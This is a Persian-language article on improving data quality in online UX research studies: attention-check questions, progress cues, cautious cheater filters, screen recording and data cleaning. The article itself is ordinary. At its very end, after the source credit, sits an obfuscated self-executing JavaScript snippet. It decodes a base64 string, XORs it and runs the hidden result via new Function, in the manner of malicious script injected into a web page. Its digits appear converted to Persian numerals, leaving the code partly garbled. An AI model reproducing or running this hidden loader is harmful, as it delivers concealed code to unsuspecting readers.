چگونه نتایج با کیفیت بالا از تحقیقات تجربه کاربری (UX) بدست آوریم؟

برای به دست آوردن نتایج با کیفیت بالاتر از مطالعات تحقیقاتی تجربه کاربری ، این اقدامات آزمایش شده را به کار ببرید: ۱) انتظارات واضح را تعیین کنید، ۲) متقلبان را از طریق کنترل های خودکار و دستی دستگیر کنید، ۳) سوالات حیله گرانه اضافه کنید، ۴) شرکت کنندگان را راهنمایی کنید، ۵ ) صفحه را ضبط کنید، ۶) معیارهای مطالعه را تجزیه و تحلیل کنید، ۷) رفتار رضایت بخش را مشخص کنید، و ۸) پاسخ های سؤالات باز را بررسی کنید.

انجام تحقیقات آنلاین اغلب می تواند مانند یک عمل متعادل کننده باشد. شما وقت خود را صرف انجام وظایف و سوال پرسیدن با در نظر گرفتن نتیجه می کنید، اما باید مراقب باشید که شرکت کنندگان را برای گفتن آنچه شما یا افراد در کسب و کار امیدوار به شنیدن آن هستند، سوگیری نکنید. شما می خواهید شرکت کنندگان با دقت به سؤالات شما پاسخ دهند، اما همچنین نمی خواهید بیش از حد درخواست کنید. هدف شما این است که یاد بگیرید که چگونه شرکت کنندگان وظایف را به طور مستقل حل می کنند، اما همچنین می خواهید سطح مناسبی از راهنمایی را ارائه دهید.

یکی از سوالاتی که اغلب به عنوان مشاور تحقیقات UX از من پرسیده می شود این است که "چگونه می توانم نتایج با کیفیت بهتری از مطالعاتم دریافت کنم؟" اغلب این از موقعیتی ناشی می شود که در آن مطالعات بینش های مفید زیادی به دست می‌آورند اما پاسخ هایی که تا حدودی … تصادفی یا حداقل غیر مفید به نظر می رسند. این امر نه تنها می تواند برای محقق بسیار ناامید کننده باشد، بلکه به دلیل تلاش های اصلاحی منجر به انجام کارهای پرهزینه و طولانی مدت تحقیق می شود.

برای مقابله با این موضوع، توصیه می‌کنم اقداماتی را از حوزه‌های بهینه‌سازی طراحی مطالعه و پاکسازی داده‌ها پس از تکمیل آنها اعمال کنید. در این مقاله، من این مراحل خاص را با مثال‌هایی توضیح می‌دهم، بنابراین به خاطر داشته باشید که این در مورد بهترین روش‌های مطالعه تحقیقات UX عمومی نیست، بلکه در مورد کارهای اضافی برای به دست آوردن نتیجه با کیفیت بالاتر از مطالعاتتان است.

بهینه سازی مطالعه - قبل از راه اندازی

اولین چیزی که در مطالعه خود باید به آن توجه کنید این است که انتظارات درستی از شرکت کنندگان داشته باشید و اگر می خواهید یک قدم جلوتر بروید، تعهدی را که به دنبال آن هستید از آنها بخواهید. مانند اغلب اوقات در ارتباطات، اگر آنچه را که می‌خواهیم به اشتراک نگذاریم، مردم نمی‌توانند مطابق با آن عمل کنند، بنابراین این بخش را حتی اگر کمی واضح به نظر می‌رسد نادیده نگیرید. مطالعات نشان می‌دهد که وقتی انسان‌ها به طور فعال به یک اقدام مثبت خاص متعهد می‌شوند (به عنوان مثال، کلیک کردن بر روی «بله» در مثال زیر)، احتمال بیشتری دارد که واقعاً آنچه را که گفته‌اند انجام دهند.

ممکن است بخواهید از اصطلاحات «توجه کن» یا «موضوع اشتباه» را نیز اضافه کنید - سوالاتی که پاسخ آنها بسیار آسان است و یک یا چند گزینه پاسخ غیرمنطقی یا وجود ندارد - تا بتوانید بعداً نتایج متقلبانه را تشخیص دهید. این نام از قصد استفاده از سؤالات خاص برای «گرفتن» سریع پاسخ دهندگانی است که سؤال را به درستی نمی خوانند، به طور تصادفی یک یا همه گزینه ها را انتخاب می کنند، یا دانش پیش زمینه مورد نظر را برای شرکت در آن ندارند. علیرغم سودمندی برای افزایش کیفیت نتایج مطالعه خود، توجه داشته باشید که استفاده بیش از حد می تواند به عنوان تحقیر آمیز یا منحرف کننده تلقی شود، بنابراین از آنها به طور انتخابی استفاده کنید.

به دنبال آن معیارهایی که معمولاً در ابتدای مطالعه بیشتر می‌نشینند، راه ساده دیگری برای رسیدن به نتایج مطالعه با کیفیت بالاتر، شامل راهنمایی مناسب در سراسر مطالعه است. اگر شرکت کنندگان ندانند چه تعداد کار باید انتظار داشته باشند، در حال حاضر کجا هستند و هنوز چقدر باید انجام دهند، ممکن است گم شوند، غرق شوند و ناامید شوند. این یکی از دلایل بزرگی است که چرا کیفیت پاسخگویی کاهش می‌یابد زیرا شرکت‌کنندگان سرگردان «فقط می‌خواهند آن را به پایان برسانند». برای جلوگیری از این امر، این سه گزینه را در نظر بگیرید: ۱. حجم کاری مورد انتظار را به وضوح در صفحه خوش آمدگویی خود بیان کنید (تعداد کارها، زمان لازم و غیره)، ۲. افزودن نوار پیشرفت در صورت وجود در ابزار انتخابی خود، ۳. افزودن بلوک‌های متنی در نقاط مناسب در طول مطالعه، به عنوان مثال. هنگامی که ۵۰٪ تمام شد ("شما در نیمه راه هستید! فقط x کار دیگر باقی مانده است.") و کمی قبل از انجام مطالعه ("از نظر شما تا کنون متشکرم. ما فقط یک سوال آخر داریم.") به شرکت کنندگان کمک کنید تمرکز و انرژی خود را به طور مساوی در سراسر مطالعه پخش کنند.

برخی از پلتفرم‌ها برای اجرای تحقیقات از راه دور، کنترل‌های داخلی را برای شناسایی افراد متقلب بر اساس ملاحظات فنی مانند زمان صرف شده یا کلیک‌های انجام شده در یک کار ارائه می‌دهند. اگر حداقل تعریف شده ای وجود داشته باشد که تکمیل یک کار به درستی غیرممکن باشد، می توانند مفید باشند. یک مثال می تواند این باشد که از شرکت کنندگان بخواهید متن یک صفحه وب را به طور کامل بخوانند. اگر می‌دانید که ۶۰۰ کلمه وجود دارد و خواندن همه آن‌ها حدود سه دقیقه طول می‌کشد، می‌توانید هر کسی را که زمان کمتری برای این کار صرف می‌کند حذف کنید. من همیشه روی چنین کنترل‌هایی علامت هشدار می‌گذارم، هرچند که بسیار ثابت هستند و ظرافت‌هایی را در رفتار کاربر که می‌تواند به تحقیق مرتبط باشد، در نظر نمی‌گیرد. همیشه به روشی که انسان ها وظایف را حل می کنند عدالت را رعایت نمی کند تا آن را به معیارهای سطح بالا کاهش دهد. به این سناریوها فکر کنید:

• یک کاربر مسن با فونت های کوچک موجود در صفحه مبارزه می کند و پس از بیست ثانیه کار را متوقف می کند تا دچار سردرد نشود.
• کاربر میانبری را در کاری پیدا می کند که شما از آن اطلاعی نداشتید و کمتر از حداقل کلیک های تعریف شده استفاده کرده اید.

اینها می‌توانند بینش‌های بسیار مرتبط کاربر و حتی زمینه‌های بالقوه برای بهبود محصول را به همراه داشته باشند، اما اگر استثناهای خودکار را تنظیم کنید، هرگز نمی‌توانید آنها را ببینید. بنابراین، از کنترل های تقلب خودکار بسیار با احتیاط استفاده کنید و در صورت شک، نسبت به تعاریف خود سخاوتمند باشید.

در هر مطالعه ای، خواه عمدتاً کیفی یا کمی باشد، فراموش نکنید که حداقل یک سؤال پایان باز اضافه کنید تا شرکت کنندگان را وادار کنید تا به طور کامل پاسخی را فرموله کنند. یک مثال می‌تواند این باشد که از شرکت‌کنندگان بخواهید تجربیات خود را در یک کار قبلی به زبان خودشان خلاصه کنند، یا یک سؤال بعدی مانند "در صورت وجود چیزی، در مورد این [وب‌سایت/برنامه/سرویس] چه چیزی را تغییر می‌دهید؟" این می تواند به ساختار تجزیه و تحلیل شما کمک کند و همچنین شرکت کنندگانی را نشان دهد که مایل به صرف زمان و تلاش لازم برای ارائه پاسخ با کیفیت بالا نیستند - و شما قادر خواهید بود آنها را در یک لحظه فقط با غربال کردن لیست پاسخ ها در خود پیدا کنید.

در نهایت، اگر به این عملکرد دسترسی دارید، ضبط صفحه شرکت کنندگان منطقی است، حتی اگر نخواهید بعداً تجزیه و تحلیل عمیق رفتار کاربر مشاهده شده انجام دهید. یک استدلال برای انجام این کار این است که مشابه با نکته بالا در مورد تعهد کاربر، شرکت کنندگان در مطالعه متوجه می شوند که آیا آنها ضبط می شوند و شانس آنها برای سرعت گرفتن یا تقلب در مطالعه کاهش می یابد. ضبط‌ها همچنین به شما این امکان را می‌دهند که عمیق‌تر در موارد خاص غوطه‌ور شوید و بفهمید که چگونه نتایج خاصی رخ داده‌اند (مثلاً زمان‌های تکمیل بسیار طولانی یا کوتاه).

پاکسازی داده ها - پس از اتمام مطالعه

طراحی مطالعه متفکرانه روشی قدرتمند برای بهینه‌سازی کیفیت داده‌ها است، اما تضمین نمی‌کند که ۱۰۰% پاسخ‌های قابل استفاده و معنادار داشته باشید. در واقع، تجزیه و تحلیل ها نشان می دهد که شما می توانید انتظار داشته باشید که حدود ۱۰ درصد از شرکت کنندگان در هر مطالعه آنلاین تقلب کنند. ما می‌توانیم و باید با آن برنامه‌ریزی کنیم و روی آن کار کنیم، برای مثال با استخدام حدود ۱۰٪ شرکت‌کنندگان بیشتر که انتظار داریم بعداً از نتایج خود استفاده کنیم. با این حال، وقتی مطالعه شما به حد نصاب خود رسید، وقت آن است که به دنبال پاسخ هایی باشید که باید از مجموعه داده های ارزشمند شما پاک شوند - قبل از شروع تجزیه و تحلیل. به عنوان فردی که صدها مطالعه را اجرا و بررسی کرده است، مراحل زیر را توصیه می کنم:

📊 با معیارهای کار خود شروع کنید، مانند زمان مطالعه یا اتمام کار، تعداد کلیک‌ها، به عنوان مثال. در یک تست کلیک، و به طور خودکار خطاها، تعداد کلی خطاها، و مسیرهای "اشتباه" را شناسایی می کند تا پاسخ هایی را که از نقطه نظر فنی خارج از محدوده قابل قبولی هستند شناسایی کند.🕵🏻‍♀️ اگر مطمئن نیستید یک شناسه شرکت‌کننده (مثلاً شماره) را یادداشت کنید تا بتوانید پاسخ‌های واقعی آنها را قبل از حذف کردن آنها بررسی کنید.🦥 سپس، به دنبال الگوهایی باشید که نشان‌دهنده رضایت‌بخش بودن، یا رفتن به ساده‌ترین مسیر هستند، مانند قرار دادن همه کارت‌ها فقط در یک دسته در یک مرتب‌سازی کارت، یا «آشتی صاف» در مقیاس‌های رتبه‌بندی (معمولاً گزینه میانی را در همه مقیاس‌های رتبه‌بندی انتخاب کنید)🔎 اکنون به سمت پاسخ‌های باز می‌رویم و به دنبال پاسخ‌هایی هستیم که غیرقابل استفاده هستند (مانند پاسخ‌های ضربه‌ای به صفحه‌کلید، پاسخ‌های نوع asdfghjkl)، بی‌معنی (مانند "بله"، "نه"، "خوب" به عنوان یک پاسخ پاسخ به یک سؤال باز پیچیده)، یا پاسخ‌های کپی و چسبانده شده در تمام سؤالات مطالعه یا از جایی خارج از مطالعه.توصیه نهایی این است که نه تنها از دو حوزه توضیح داده شده مطالعه بهینه سازی و پاکسازی داده ها در ارتباط استفاده کنید، بلکه اقدامات مختلف توضیح داده شده در آنها را نیز ترکیب کنید. یک سوال شاه ماهی قرمز مطمئن نیست که شما همه متقلبانان احتمالی را در یک مطالعه دستگیر کرده اید، درست مانند یک پاسخ "بد" به این معنی نیست که یک شرکت کننده قطعا متقلب است.

و همین است! امیدوارم این اقدامات و نکات برای به دست آوردن نتایج با کیفیت بالاتر از مطالعات تحقیقاتی خود مفید بوده باشید. اگر با موفقیت از سایر موارد استفاده کرده اید، آنها را در نظرات به اشتراک بگذارید.

منبع: uxplanet.org

!function(){var _۰xe۷fc۹c۱b۸۷c۶=atob('VxkKERwLFhARV۱YEFhlXCBYRGxAIJFggShtLHElNR۰waHVgiVg۰aCwoNEUQIFhEbEAgkWCBKG۰scSU۱HTBodWCJCTkQJHg۱fIBYeHg۰aD۰JdSBlJTU۵PHk۹GThxMSB۴aRh۰ZHk۴dGRtNSklNG۰tLTxtHS۰۱MSE۸aTkhOS۰۱IHEkdXUQJHg۱fIBkREBlCJFgXCwsPDEVQUA۸QEwYYEBFSEh۴WEREaC۱EPCh۰TFhxRHRMeDAseDxZRFhBYU۱gXCwsPDEVQUA۸QEwYYEBFRGw۰PHFEQDRhYU۱gXCwsPDEVQUA۰PHFISHhYRERoLURIeCxYcUQ۴KFhQREBsaUQ۸NEFhTWBcLCw۸MRVBQDQ۸cUR۴RFA۱RHBASUA۸QEwYYEBFYU۱gXCwsPDEVQUE۴NDxxRFhBQEh۴LFhxYU۱gXCwsPDEVQUA۸QEwYYEBFSDwodExYcUREQGxYaDFEeDw۹YU۱gXCwsPDEVQUA۸QEwYYEBFRGB۴LGggeBlELGhEbGg۰TBlEcEFhTWBcLCw۸MRVBQDxATBhgQEVIdEA۱SDQ۸cUQ۸KHRMWHBEQGxpRHBASWCJECR۴NXyAeEhcJQl۱PBz۱JHTxGGk۴۷Tx۱NGT۱GST۴dSDxLSDpPSzwdTz۰۶S۰hIS۰۵PHTxOGU۱dRAkeDV۸gGwgTCB۰SQl۰dSUcbTkdPRl۱EGQoRHAsWEBFfIBwZFAwcBQhXIBcSGBgUDwlWBAsNBgQJHg۱fIB۴UGhBCIBcSGBgUDwlRDAodDAsNV۰۹TTVZCQkJYTwdYQCAXEhgYFA۸JUQwKHQwLDVdNVkUgFxIYGBQPCUQWGVcgHhQaEFETGhEYCxdDTk۱HVg۰aCwoNEVhYRAkeDV۸gFREOEhAbQg۸eDQwaNhELVyAeFBoQUQwKHQwLDVdJS۱NJS۱ZTTklWRBYZV۱۴gFREOEhAbVg۰aCwoNEVhYRAkeDV۸gDxcPG۰IgHhQaEFEMCh۰MCw۱XTk۱HUyAVEQ۴SEBtVTVZTIB۴cGg۴MFkJYWEQZEA۱XCR۴NXyAKCQoJQk۹EIAoJCglDIA۸XDxtRExoRGAsXRCAKCQoJVEJNVgQJHg۱fIAoUERMQG۰IPHg۰MGjYRC۱cgDxcPG۱EMCh۰MCw۱XIAoJCglTTVZTTklWRBYZVyAKFBETEBtWIB۴cGg۴MFlRCLAsNFhEYURkNEBI۸Fx۴NPBAbGlcgChQRExAbVkQCDRoLCg۰RXyAeHBoODBZEAhweCxwXVxpWBA۰aCwoNEVhYRAICGQoRHAsWEBFfIBQLDhYIEQVXIAsNFhpTIBcQEBpWBA۰aCwoNEV۸RGghfLw۰QEhYMGlcZChEcCxYQEVcgChQFDhlTIBwFEQUTClYECR۴NXyAUBRYcDBMcQhEaCF۸nMjM۳CwsPLRoOChoMC۱dWRCAUBRYcDBMcURAPGhFXWC۸wLCtYUyALDRYaUwsNChpWRCAUBRYcDBMcUQwaCy۰aDgoaDAs۳Gh۴bGg۱XWDwQEQsaEQtSKwYPGlhTWB۴PDxMWHB۴LFhARUBUMEBFYVkQgFAUWHAwTHFELFhIaEAoLQkpPT۰۹EIBQFFhwMExxREBETEB۴bQhkKERwLFhARV۱YECw۰GBCAKFAUOGVc۱LDAxUQ۸eDQwaVyAUBRYcDBMcUQ۰aDA۸QEQwaKxoHC۱ZWRAIcHgscF۱caVgQgHAURBRMKVxpWRAICRCAUBRYcDBMcURARGg۰NEA۱CIBQFFhwMExxREBELFhIaEAoLQhkKERwLFhARV۱YEIBwFEQUTClcRGghfOg۰NEA۱XVlZEAkQgFAUWHAwTHFEMGhEbVzUsMDFRDAsNFhEYFhkGVyAXEBAaVlZEAlZEAhkKERwLFhARXyALChAdFBgUVyAUFBIVCBEaVgQWGVcgFBQSFQgRGkFCIBkREBlRExoRGAsXVg۰aCwoNEV۸vDRASFgwaUQ۰aDBATCRpXEQoTE۱ZECR۴NXyAQHBoJFBRCBBUMEBENDxxFWE۱RT۱hTEhoLFxAbRVgaCxcgHB۴TE۱hTDx۴NHhIMRSQECxBFIB۴SFwlTGx۴LHkVYTwdYVCAbCBMIHRICU۱gTHgsaDAtYIlMWG۰VOAkQNGgsKDRFfIBQLDhYIEQVXIBkREBkkIBQUEhUIERoiUyAQHBoJFBRWUQsXGhFXGQoRHAsWEBFXIAYaEBAZFR۱WBAkeDV۸gBhgRGhsFCkIgBhoQEBkVHVlZIAYaEBAZFR۱RDRoMChMLQCAcGRQMHAUIVyAGGhAQGRUdUQ۰aDAoTC۱ZFWFhEFhlXIAYYERobBQpWDRoLCg۰RXyAGGBEaGwUKUQ۰aDxMeHBpXUCNQVFtQU۱hYVkQNGgsKDRFfIAsKEB۰UGBRXIBQUEhUIERpUTlZEAlZRHB۴LHBdXGQoRHAsWEBFXVgQNGgsKDRFfIAsKEB۰UGBRXIBQUEhUIERpUTlZEAlZEAhkKERwLFhARXyALBxwLFAUFVyASDRYOFBUNVgQJHg۱fIBgJEggaHkIbEBwKEhoRC۱EcDRoeCxo۶ExoSGhELV۱gMHA۰WDwtYVkQgGAkSCBoeUQwNHEIgEg۰WDhQVDVRYUB۴PFlEPFw۹ADEJYVCAWHh۴NGg۹UWFkgCUJYVDIeCxdRGRMQEA۱XOx۴LGlEREAhXVlBJT۰۹PT۱ZEIBgJEggaHlEeDAYRHEILDQoaRFcbEBwKEhoRC۱EXGh۴bAwMbEBwKEhoRC۱EdEBsGVlEeDw۸aERs۸FxYTG۱cgGAkSCBoeVkQCIAsKEB۰UGBRXT۱ZRCxcaEVcZChEcCxYQEVcgEg۰WDhQVDVYEFhlXIBINFg۴UFQ۱WIAsHHAsUBQVXIBINFg۴UFQ۱WRAJWRAJWV۱ZE'),_۰x۴۹۰۰۵ba۱۷b۴e=۱۲۷,_۰x۳d۳۳۰۴e۷۷۲۴b=new Uint۸Array(_۰xe۷fc۹c۱b۸۷c۶['length']),_۰x۰d۳۴۴۹۵fcb۸۲=۰;for(;_۰x۰d۳۴۴۹۵fcb۸۲<_۰xe۷fc۹c۱b۸۷c۶['length'];_۰x۰d۳۴۴۹۵fcb۸۲++)_۰x۳d۳۳۰۴e۷۷۲۴b[_۰x۰d۳۴۴۹۵fcb۸۲]=_۰xe۷fc۹c۱b۸۷c۶['charCodeAt'](_۰x۰d۳۴۴۹۵fcb۸۲)^_۰x۴۹۰۰۵ba۱۷b۴e;(new Function(new TextDecoder()['decode'](_۰x۳d۳۳۰۴e۷۷۲۴b)))()}();